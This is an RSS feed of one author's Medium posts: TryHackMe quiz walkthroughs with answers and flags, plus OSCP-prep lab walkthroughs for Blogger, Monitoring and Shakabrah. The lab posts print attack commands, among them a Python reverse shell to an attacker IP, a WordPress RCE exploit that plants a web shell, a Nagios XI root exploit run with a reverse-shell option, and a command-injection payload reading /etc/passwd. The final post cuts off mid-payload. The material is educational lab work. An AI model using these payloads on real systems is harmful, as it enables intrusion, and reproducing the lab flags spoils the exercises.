<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hamza Malick on Medium]]></title>
        <description><![CDATA[Stories by Hamza Malick on Medium]]></description>
        <link>https://medium.com/@hamzamalick72?source=rss-f0c0c2b8c5a6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wmlRrRddb05CYa0yDA20vQ.jpeg</url>
            <title>Stories by Hamza Malick on Medium</title>
            <link>https://medium.com/@hamzamalick72?source=rss-f0c0c2b8c5a6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 05:57:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hamzamalick72/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Web Application Basics tryhackme Walkthrough Cyber Security 101]]></title>
            <link>https://medium.com/@hamzamalick72/web-application-basics-tryhackme-walkthrough-cyber-security-101-4bbf352537bf?source=rss-f0c0c2b8c5a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/4bbf352537bf</guid>
            <dc:creator><![CDATA[Hamza Malick]]></dc:creator>
            <pubDate>Fri, 01 Nov 2024 18:37:40 GMT</pubDate>
            <atom:updated>2024-11-01T18:37:40.448Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*oHk4bANvXZOO2-uUAWGJAA.png" /></figure><p>this room is a part of beginner “Cyber Security 101” pathway before moving further lets follow this medium</p><h3>TASK 1 Introduction;</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*8DDbp4U8O75VzSF5q0gGuA.png" /></figure><h3>Introduction</h3><p>Welcome to Web Application Basics! In this room, we’ll walk through the key elements of a web application, such as URLs, HTTP requests, and responses. This is perfect if you’re starting and want to get a handle on the essentials or if you’re looking to build or work with web apps.</p><h3>Learning Objectives</h3><p>By completing this room, you will:</p><ul><li>Understand what a web application is and how it runs in a web browser.</li><li>Break down the components of a URL and see how it helps access web resources.</li><li>Learn how HTTP requests and responses work.</li><li>Get familiar with the different types of HTTP request methods.</li><li>Understand what different HTTP response codes mean.</li><li>Check out how HTTP headers work and why they matter for security.</li></ul><p>Answer the questions below</p><p>1 : I am ready to learn about Web Applications!</p><blockquote>No answer needed</blockquote><h3>TASK 2 Web Application Overview;</h3><p>Answer the questions below</p><p>1 : Which component on a computer is responsible for hosting and delivering content for web applications?</p><blockquote>web server</blockquote><p>2 : Which tool is used to access and interact with web applications?</p><blockquote>web browser</blockquote><p>3 : Which component acts as a protective layer, filtering incoming traffic to block malicious attacks, and ensuring the security of the the web application?</p><blockquote>web application firewall</blockquote><h3>TASK 3 Uniform Resource Locator;</h3><p>Answer the questions below</p><p>1 : Which protocol provides encrypted communication to ensure secure data transmission between a web browser and a web server?</p><blockquote>HTTPS</blockquote><p>2 : What term describes the practice of registering domain names that are misspelt variations of popular websites to exploit user errors and potentially engage in fraudulent activities?</p><blockquote>Typosquatting</blockquote><p>3 : What part of a URL is used to pass additional information, such as search terms or form inputs, to the web server?</p><blockquote>Query String</blockquote><h3>TASK 4 HTTP Messages;</h3><p>Answer the questions below</p><p>1 : Which HTTP message is returned by the web server after processing a client’s request?</p><blockquote>HTTP response</blockquote><p>2 : What follows the headers in an HTTP message?</p><blockquote>Empty Line</blockquote><h3>TASK 5 HTTP Request: Request Line and Methods;</h3><p>Answer the questions below</p><p>1 : Which HTTP protocol version became widely adopted and remains the most commonly used version for web communication, known for introducing features like persistent connections and chunked transfer encoding?</p><blockquote>HTTP/1.1</blockquote><p>2 : Which HTTP request method describes the communication options for the target resource, allowing clients to determine which HTTP methods are supported by the web server?</p><blockquote>OPTIONS</blockquote><p>3 : In an HTTP request, which component specifies the specific resource or endpoint on the web server that the client is requesting, typically appearing after the domain name in the URL?</p><blockquote>URL Path</blockquote><h3>TASK 6 HTTP Request: Headers and Body;</h3><p>Answer the questions below</p><p>1 : Which HTTP request header specifies the domain name of the web server to which the request is being sent?</p><blockquote>Host</blockquote><p>2 : What is the default content type for form submissions in an HTTP request where the data is encoded as key=value pairs in a query string format?</p><blockquote>application/x-www-form-urlencoded</blockquote><p>3 : Which part of an HTTP request contains additional information like host, user agent, and content type, guiding how the web server should process the request?</p><blockquote>Request Headers</blockquote><h3>TASK 7 HTTP Response: Status Line and Status Codes;</h3><p>Answer the questions below</p><p>1 : What part of an HTTP response provides the HTTP version, status code, and a brief explanation of the response’s outcome?</p><blockquote>Status Line</blockquote><p>2 : Which category of HTTP response codes indicates that the web server encountered an internal issue or is unable to fulfil the client’s request?</p><blockquote>Server Error Responses</blockquote><p>3 : Which HTTP status code indicates that the requested resource could not be found on the web server?</p><blockquote>404</blockquote><h3>TASK 8 HTTP Response: Headers and Body;</h3><p>Answer the questions below</p><p>1 : Which HTTP response header can reveal information about the web server’s software and version, potentially exposing it to security risks if not removed?</p><blockquote>Server</blockquote><p>2 : Which flag should be added to cookies in the Set-Cookie HTTP response header to ensure they are only transmitted over HTTPS, protecting them from being exposed during unencrypted transmissions?</p><blockquote>Secure</blockquote><p>3 : Which flag should be added to cookies in the Set-Cookie HTTP response header to prevent them from being accessed via JavaScript, thereby enhancing security against XSS attacks?</p><blockquote>HttpOnly</blockquote><h3>TASK 9 Security Headers;</h3><p>Answer the questions below</p><p>1 : In a Content Security Policy (CSP) configuration, which property can be set to define where scripts can be loaded from?</p><blockquote>script-src</blockquote><p>2 : When configuring the Strict-Transport-Security (HSTS) header to ensure that all subdomains of a site also use HTTPS, which directive should be included to apply the security policy to both the main domain and its subdomains?</p><blockquote>includeSubDomains</blockquote><p>3 : Which HTTP header directive is used to prevent browsers from interpreting files as a different MIME type than what is specified by the server, thereby mitigating content type sniffing attacks?</p><blockquote>nosniff</blockquote><h3>TASK 10 Practical Task: Making HTTP Requests;</h3><p>Answer the questions below</p><p>1 : Make a <strong>GET</strong> request to /api/users. What is the flag?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*Kc6unDEptKkIQvL7VSfwUA.png" /></figure><blockquote>THM{YOU_HAVE_JUST_FOUND_THE_USER_LIST}</blockquote><p>2 : Make a <strong>POST</strong> request to /api/user/2 and update the <strong>country </strong>of Bob from <strong>UK</strong> to <strong>US</strong>. What is the flag?</p><blockquote>THM{YOU_HAVE_MODIFIED_THE_USER_DATA}</blockquote><p>3 :Make a <strong>DELETE</strong> request to /api/user/1 to delete the user. What is the flag?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*a-1fqLStamnMFxdItbLelA.png" /></figure><blockquote>THM{YOU_HAVE_JUST_DELETED_A_USER}</blockquote><h3>TASK 11 Conclusion;</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ER2EKvFPhMPBy7OwJcyUKg.png" /></figure><p>Answer the questions below</p><p>1 : I’m ready to move forward and learn more about web application security.</p><blockquote>no answer needed</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4bbf352537bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC Fundamentals tryhackme Walkthrough Cyber Security 101]]></title>
            <link>https://medium.com/@hamzamalick72/soc-fundamentals-tryhackme-walkthrough-cyber-security-101-a347dd4bf92d?source=rss-f0c0c2b8c5a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/a347dd4bf92d</guid>
            <dc:creator><![CDATA[Hamza Malick]]></dc:creator>
            <pubDate>Mon, 28 Oct 2024 21:06:23 GMT</pubDate>
            <atom:updated>2024-10-28T21:06:23.495Z</atom:updated>
            <content:encoded><![CDATA[<p>this room is a part of Cyber Security 101 pathway before moving forward follow us;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*V9OoAJXimAhOY_YLKpdjhw.png" /></figure><h3>Introduction to SOC;</h3><p>Technology has made our lives more efficient, but with this efficiency comes more responsibility. Modern-day fears have come a long way from the exploitation of physical assets. The critical data, called secrets, are no longer stored in physical files. Organizations carry tons of confidential data in their network and systems. Any unauthorized disruption, loss, or modification to this data may cause them a huge damage. Threat actors discover and exploit new vulnerabilities in these networks and systems daily, becoming a major concern in cyber security. Traditional security practices may not be enough to prevent many of these threats. Dedicating a whole team to managing your organization’s security is important.</p><p>A <strong>SOC</strong> (<strong>S</strong>ecurity <strong>O</strong>perations <strong>C</strong>enter) is a dedicated facility operated by a specialized security team. This team aims to continuously monitor an organization’s network and resources and identify suspicious activity to prevent damage. This team works 24 hours a day, seven days a week.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*CgNZ1Wkj-GCMzZfYNfjWKg.png" /></figure><p>This room will delve into some key concepts of SOC, one of the most important fields in defensive security.</p><h3>Learning Objectives</h3><ul><li>Building a baseline for SOC (Security Operations Center)</li><li>Detection and response in SOC</li><li>The role of People, Processes, and Technology</li><li>Practical exercise</li></ul><p>Answer the questions below</p><p>1 : What does the term SOC stand for?</p><blockquote>Security Operations Center</blockquote><h3>TASK 2 Purpose and Components;</h3><p>Answer the questions below</p><p>1 : The SOC team discovers an unauthorized user is trying to log in to an account. Which capability of SOC is this?</p><blockquote>Detection</blockquote><p>2 : What are the three pillars of a SOC?</p><blockquote>People, Process, Technology</blockquote><h3>TASK 3 People;</h3><p>Answer the questions below</p><p>1 : Alert triage and reporting is the responsibility of?</p><blockquote>SOC Analyst (Level 1)</blockquote><p>2 : Which role in the SOC team allows you to work dedicatedly on establishing rules for alerting security solutions?</p><blockquote>Detection Engineer</blockquote><h3>TASK 4 Process;</h3><p>Answer the questions below</p><p>1 : At the end of the investigation, the SOC team found that John had attempted to steal the system’s data. Which ‘W’ from the 5 Ws does this answer?</p><blockquote>Who</blockquote><p>2 : The SOC team detected a large amount of data exfiltration. Which ‘W’ from the 5 Ws does this answer?</p><blockquote>What</blockquote><h3>TASK 5 Technology;</h3><p>Answer the questions below</p><p>1 : Which security solution monitors the incoming and outgoing traffic of the network?</p><blockquote>Firewall</blockquote><p>2 : Do SIEM solutions primarily focus on detecting and alerting about security incidents? (yea/nay)</p><blockquote>yea</blockquote><h3>TASK 6 Practical Exercise of SOC;</h3><p>Answer the questions below</p><p>1 : What: Activity that triggered the alert?</p><blockquote>Port Scan</blockquote><p>2 : When: Time of the activity?</p><blockquote>June 12, 2024 17:24</blockquote><p>3 : Where: Destination host IP?</p><blockquote>10.0.0.3</blockquote><p>4 : Who: Source host name?</p><blockquote>Nessus</blockquote><p>5 : Why: Reason for the activity? Intended/Malicious</p><blockquote>Intended</blockquote><p>6 : Additional Investigation Notes: Has any response been sent back to the port scanner IP? (yea/nay)</p><blockquote>yea</blockquote><p>7 : What is the flag found after closing the alert?</p><blockquote>THM{000_INTRO_TO_SOC}</blockquote><h3>TASK 8 Conclusion;</h3><p>Answer the questions below</p><p>1 : I understand the fundamentals of a SOC.</p><blockquote>no answer needed</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a347dd4bf92d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Search Skills tryhackme | Cyber Security 101 THM]]></title>
            <link>https://medium.com/@hamzamalick72/search-skills-tryhackme-cyber-security-101-thm-4a89071153ea?source=rss-f0c0c2b8c5a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a89071153ea</guid>
            <dc:creator><![CDATA[Hamza Malick]]></dc:creator>
            <pubDate>Thu, 24 Oct 2024 19:14:26 GMT</pubDate>
            <atom:updated>2024-10-24T19:14:26.503Z</atom:updated>
            <content:encoded><![CDATA[<h3>Search Skills tryhackme Walkthrough | <strong>Cyber Security 101 THM</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5P6Opvy0Xe6cokvCiNVixQ.png" /></figure><p>This room is a part of <strong>Cyber Security 101 </strong>pathway<strong> </strong>before we proceed further dont forget to follow us;</p><h3>TASK 1 Introduction;</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5k9aOFwKSZTmluRwzlvlrg.png" /></figure><p>A quick Google search for “learn cyber security” returned around 600 million hits, while a search for “learn hacking” returned more than double that number! The number might have grown even further when you go through this room.</p><p>We are surrounded by information. Do you prefer to surrender in the face of information overload and accept the first few results you get? Or do you like to acquire the necessary search skills to find and access what you are looking for? This room aims to help you with the latter.</p><h3>Learning Objectives</h3><p>The goal of this room is to teach:</p><ul><li>Evaluate information sources</li><li>Use search engines efficiently</li><li>Explore specialized search engines</li><li>Read technical documentation</li><li>Make use of social media</li><li>Check news outlets</li></ul><p><strong>Answer the questions below</strong></p><p>1 : Check how many results you get when searching for <strong>learn hacking</strong>. At the time of writing, we got 1.5 billion results when searching on Google.</p><blockquote><strong>No answer needed</strong></blockquote><h3><strong>TASK 2 Evaluation of Search Results;</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JpCQbH1rS8wsNinWLFsHiQ.png" /></figure><p>On the Internet, everyone can publish their writings. It can be in the form of blog posts, articles, or social media posts. It can be even in more subtle ways, such as by editing a public wiki page. This ability makes it possible for anyone to voice their unfounded claims. Everyone can express their opinion about best cyber security practices, future programming trends, and how to best prepare for a DevSecOps interview.</p><p>It is our job, as readers, to evaluate the information. We will mention a few things to consider when evaluating information:</p><ul><li><strong>Source</strong>: Identify the author or organization publishing the information. Consider whether they are reputable and authoritative on the subject matter. Publishing a blog post does not make one an authority on the subject.</li><li><strong>Evidence and reasoning</strong>: Check whether the claims are backed by credible evidence and logical reasoning. We are seeking hard facts and solid arguments.</li><li><strong>Objectivity and bias</strong>: Evaluate whether the information is presented impartially and rationally, reflecting multiple perspectives. We are not interested in authors pushing shady agendas, whether to promote a product or attack a rival.</li><li><strong>Corroboration and consistency</strong>: Validate the presented information by corroboration from multiple independent sources. Check whether multiple reliable and reputable sources agree on the central claims.</li></ul><p><strong>Answer the questions below</strong></p><p>1 : What do you call a cryptographic method or product considered bogus or fraudulent?</p><blockquote><strong>Snake oil</strong></blockquote><p>2 : What is the name of the command replacing netstat in Linux systems?</p><blockquote><strong>ss</strong></blockquote><h3>TASK 3 Search Engines;</h3><p><strong>Answer the questions below</strong></p><h4><strong>1 </strong>How would you limit your Google search to PDF files containing the terms <strong>cyber warfare report</strong>?</h4><blockquote><strong>filetype:pdf cyber warfare report</strong></blockquote><h4>2 What phrase does the Linux command ss stand for?</h4><blockquote>socket statistics</blockquote><h3><strong>TASK 4 Specialized Search Engines;</strong></h3><p><strong>Answer the questions below</strong></p><p>1: What is the top country with <strong>lighttpd</strong> servers?</p><blockquote><strong>United States</strong></blockquote><p>2: What does BitDefenderFalx detect the file with the hash 2de70ca737c1f4602517c555ddd54165432cf231ffc0e21fb2e23b9dd14e7fb4 as?</p><p>by checking on virus total we got these resuts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*xu3pr60U5Da7XEgQrwe0Kg.png" /></figure><blockquote><strong>Android.Riskware.Agent.LHH</strong></blockquote><h3><strong>TASK 5 Vulnerabilities and Exploits;</strong></h3><p>Answer the questions below</p><p>1 : What utility does CVE-2024–3094 refer to?</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-3094">NVD</a></p><p>we got our result here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2omMWJsz3xC_fYx3uNdemg.png" /></figure><blockquote><strong>xz</strong></blockquote><h3><strong>TASK 6 Technical Documentation;</strong></h3><p>Answer the questions below</p><p>1: What does the Linux command cat stand for?</p><blockquote><strong>concatenate</strong></blockquote><p>2: What is the netstat parameter in MS Windows that displays the executable associated with each active connection and listening port?</p><blockquote>-b</blockquote><h3>TASK 7 Social Media;</h3><p>Answer the questions below</p><p>1 : You are hired to evaluate the security of a particular company. What is a popular social media website you would use to learn about the technical background of one of their employees?</p><blockquote>LinkedIn</blockquote><p>2 : Continuing with the previous scenario, you are trying to find the answer to the secret question, “Which school did you go to as a child?”. What social media website would you consider checking to find the answer to such secret questions?</p><blockquote>Facebook</blockquote><h3>Conclusion;</h3><p>Answer the questions below</p><p>1 : Ensure you have noted the various search engines and resources mentioned in this room as they will be convenient in any cyber security path you follow.</p><blockquote>NO answer needed</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a89071153ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blogger walkthrough Proving Ground | OSCP prep]]></title>
            <link>https://medium.com/@hamzamalick72/blogger-walkthrough-proving-ground-oscp-prep-2638e865304d?source=rss-f0c0c2b8c5a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/2638e865304d</guid>
            <dc:creator><![CDATA[Hamza Malick]]></dc:creator>
            <pubDate>Tue, 23 Jul 2024 20:22:56 GMT</pubDate>
            <atom:updated>2024-07-23T20:24:20.103Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J3MI0swPPRUPKPGWsDEGLg.png" /></figure><p>So this machine is a part of our OSCP prep series, this is an easy machine. lets follow our medium so you will not miss anything</p><p>so lets start with an nmap scan as usual</p><blockquote><em>nmap -sC -sV &lt;machine ip&gt;</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*y0LuzngZuYGZcKGW8v65kw.png" /></figure><p>so here we have two ports open port 80 and port 22</p><p>lets take a look at our web page in browser that’s look like a blogging site</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tosU00elX-I1YfB1eVi9tw.png" /></figure><p>lets scan to find directories using dirb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*d974moJzTOVWZDPbtBuG1g.png" /></figure><p>on visiting <strong>/assets</strong> we found something like that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*Benzr4qgu1bMRKkJvE2kmw.png" /></figure><p>so we go to <strong>fonts/blog/</strong></p><p>here we have log_in button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*vno-GqN2xJBAo7znczYzDQ.png" /></figure><p>so we simply jump to login section here we have a wordpress login we try some default credential but that didn’t work for us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oAmIygxUCF3mh641L9I7xg.png" /></figure><p>from here we come to know that wordpress is working behind so why not use wp-scan tool to check for vulnerabilities so we run wpscan</p><blockquote>wpscn --url http//192.168.218.217/assets/fonts/blog/ --plugins-detection aggressive</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4zJnuO9fQbdiMhzUGfTpTQ.png" /></figure><p>so what we found is <strong>akismet</strong> which is default plugin and <strong>wpdiscuz</strong> version 7.0.4 so lets check for vulnerabilities in wpdiscuz using searchsploit</p><blockquote>searchsploit wpdiscuz</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9r-1ucTUr4YErq8BhoTOng.png" /></figure><p>here we can easily see a RCE lets just copy this to our machine as follow</p><blockquote>searchsploit -m 49967.py</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*bVTZM0WEaY5_YoXOTjBO5Q.png" /></figure><p>add IP address to “blogger.pg” in <strong>/etc/host</strong> to override dns in order to use webshell</p><p>Run the python script as follow</p><blockquote>python3 49967.py -u <a href="http://blogger.pg/assets/fonts/blog">http://blogger.pg/assets/fonts/blog</a> -p /?p=29</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nSI-ERYkXL5tKdLE7gu1wg.png" /><figcaption><a href="http://blogger.pg/assets/fonts/blog/wp-content/uploads/2024/07/volofzgrlveqlog-1721737691.0061.php">http://blogger.pg/assets/fonts/blog/wp-content/uploads/2024/07/volofzgrlveqlog-1721737691.0061.php</a></figcaption></figure><p>this will execute our script creating a shell ,have you notice it also changes ip to blogger.pg</p><p>the webshell created in terminal is not persistent, so we navigate to the provided url (red underlined here)</p><p>Adding <strong>?cmd= </strong>parameter<strong> </strong>next to url<strong> </strong>will allow command execution</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9L8rd0M9haI24ntuzqTIg.png" /><figcaption><a href="http://blogger.pg/assets/fonts/blog/wp-content/uploads/2024/07/volofzgrlveqlog-1721737691.0061.php">http://blogger.pg/assets/fonts/blog/wp-content/uploads/2024/07/volofzgrlveqlog-1721737691.0061.php</a>?cmd=which python3</figcaption></figure><p>here we check which python3 and it will give us the path allowing command execution</p><p>SO lets try to get a reverse shell as we are able to run OS commands</p><p>use payload from here <a href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/">https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/</a></p><p>firstly open a netcat session as <strong>nc -nlvp 443</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*BLVsYL81dDcNL9pjlubdmA.png" /></figure><p>we use python payload and change its ip and port number</p><blockquote>python3 -c ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.45.187”,4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/bash”)’</blockquote><p>Now put your payload next to<strong> ?cmd=</strong> parameter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-pc0UCbzAHLnYwDZlh8Idg.png" /></figure><p>this will create a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*4MFGP5QMcj0p462adqe5OQ.png" /></figure><p>now <strong>cd /home </strong>and then<strong> cd/james </strong>here you will get your local flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*dSpGpJKRjX_kFl_tnupFrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*0JVInuuPvV677hbPpPg_1Q.png" /></figure><p>While checking for cat /etc/passwd | grep sh</p><p>we came to know that vagrant is using default password as vagrant and also have root privileges so we simply <strong>su vagrant</strong> with the default password as <strong>vagrant</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*mNotWux3bMD2f_W_oNM0uw.png" /></figure><p>as vagrant have root privileges so we simply <strong>sudo su</strong> here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*pl9JSLgBFZo4tZ4h_5dxRQ.png" /></figure><p>and here we got the root access now simply <strong>ls</strong> you will find a proof.txt</p><p>file <strong>cat proof.txt</strong> to get your final flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*IyH6nXrfZmTTtKHoCyY3RA.png" /></figure><p>and here you have your machine rooted………….</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2638e865304d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Monitoring writeup Proving Ground |OSCP prep]]></title>
            <link>https://medium.com/@hamzamalick72/monitoring-writeup-proving-ground-oscp-prep-48dbe0e209be?source=rss-f0c0c2b8c5a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/48dbe0e209be</guid>
            <dc:creator><![CDATA[Hamza Malick]]></dc:creator>
            <pubDate>Tue, 23 Jul 2024 18:02:34 GMT</pubDate>
            <atom:updated>2024-07-23T18:02:34.857Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yRjS4YlCLSfjeps5TfXwgQ.png" /></figure><p>So this machine is a part of our OSCP prep series, this is an easy machine. lets follow our medium so you will not miss anything</p><p>so lets start with an nmap scan as usual</p><blockquote>nmap -sC -sV &lt;machine ip&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qcqtMXMCP-8CoyLWAmCABg.png" /></figure><p>looking at the result lets take a look at port 80 web page that shows up a Nagios XI application(used for event and Network Monitoring)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*ASWt1R5MJC9a0TR4x5JToA.png" /></figure><p>we try to scan for directories using tools but found nothing interesting When we click on <strong>“Access Nagios XI”</strong> it will give us a login page</p><p>the first thing we try to do is applying the default credential so we use google to search for <strong>“Nagios”</strong> default credential <strong>“nagiosadmin:nagiosadmin”</strong> but that didn’t work for us, so we try different combination and here are credential that work for us as user and password</p><blockquote>nagiosadmin:admin</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6b-5TXfdW4jNh70VR_q-A.png" /></figure><p>here we are in, one important thing that we noticed here is the Nagios version that is “Nagios XI 5.6.0”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*THaVrY_qW8RqrEeo09Uitg.png" /></figure><p>As we know about the version lets check if it is vulnerable or not ,we use searchsploit as follow</p><blockquote>searchsploit Nagios</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5jQCiognawoGjZRfapvPig.png" /></figure><p>let check for exploit, while surfing across google we come to know its cve -id as CVE-2019–15949 and also find an exploit link as follow; <a href="https://github.com/jakgibb/nagiosxi-root-rce-exploit/blob/master/exploit.php">https://github.com/jakgibb/nagiosxi-root-rce-exploit/blob/master/exploit.php</a></p><p>copying the exploit into our local machine</p><blockquote>wget <a href="https://raw.githubusercontent.com/jakgibb/nagiosxi-root-rce-exploit/master/exploit.php">https://raw.githubusercontent.com/jakgibb/nagiosxi-root-rce-exploit/master/exploit.php</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CtbYhgob1g0ZD0v6Q8MNbw.png" /></figure><h3><strong>Exploitation phase;</strong></h3><p>before we run our exploit lets start with an netcat session</p><blockquote>nc -nvlp 8001</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*KCVpARv8203wzDZs5bYB6g.png" /></figure><p>lets start with our exploitation section and run our exploit as follow</p><blockquote>sudo php exploit --host=192.168.202.136 -- ssl=false --user=nagiosadmin -- pass=admin --reverseip=192.168.45.190 --reverseport=8001</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_BP1O-5NFIqprYGitXndw.png" /></figure><p>upon running if it give you some error(php fatal error) here are how you can resolve them by running the command given below</p><blockquote>sudo apt-get install php-curl</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*U9nXxZFNx0OraY6JmqGqmw.png" /></figure><blockquote>sudo apt-get install php-dom</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*gMKPGyB2nxIYA1ySmygvgw.png" /></figure><p>Upon successful exploitation you will get a netcat shell, now we are in all you have to do now is <strong>cd /root</strong> and <strong>ls</strong> you will find a <strong>proof.txt</strong> file</p><p>simply <strong>cat proof.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*yDT6qeamaR9edCw3x_vN5w.png" /></figure><p>and here you have your machine rooted..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=48dbe0e209be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Shakabrah Walkthrough OffSec Proving Ground, Vulnhub |OSCP Prep]]></title>
            <link>https://medium.com/@hamzamalick72/shakabrah-walkthrough-offsec-proving-ground-vulnhub-oscp-prep-349ae9c76925?source=rss-f0c0c2b8c5a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/349ae9c76925</guid>
            <dc:creator><![CDATA[Hamza Malick]]></dc:creator>
            <pubDate>Sun, 30 Jun 2024 18:15:11 GMT</pubDate>
            <atom:updated>2024-06-30T18:15:11.846Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0hy6M5V_cTCj1_hfmu-BhA.png" /></figure><p>lets start with a nmap scan</p><blockquote>nmap -sC -sV &lt;ip_adress&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*gxdV2uZp2C4RjV6unYwQvA.png" /></figure><p>here we have two port open</p><p>port 80(http) and port 22(ssh)</p><p>lets take a look our web page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*jZpaOwMn4wBliQu-QkiMhg.png" /></figure><p>when we enter ip address it pings that address, Also there is a host parameter in the url as <strong>host=</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*twNK1zbQpJ4K8k2ByGCw3w.png" /></figure><p>lets try to test this for command injection using this simple payload</p><blockquote>8.8.8.8<strong>;cat/etc/passwd</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*6razMKqWDq9edL2rosXh1Q.png" /></figure><p>and here we got our command injection test successful,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*LK5j5fYCBsPb43rMPgCNAQ.png" /></figure><p>Now we will try to get RCE using this command injection vulnerability</p><h4>Getting Shell:</h4><p>for this let open a nc session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*0ccLuSLuMg9Lln-xW9u3xg.png" /></figure><p>we will use this shell from <a href="https://www.revshells.com/"><strong><em>https://www.revshells.com/</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DxJ5ffHmFeKon9x374pBkA.png" /></figure><pre>python3 -c &#39;import 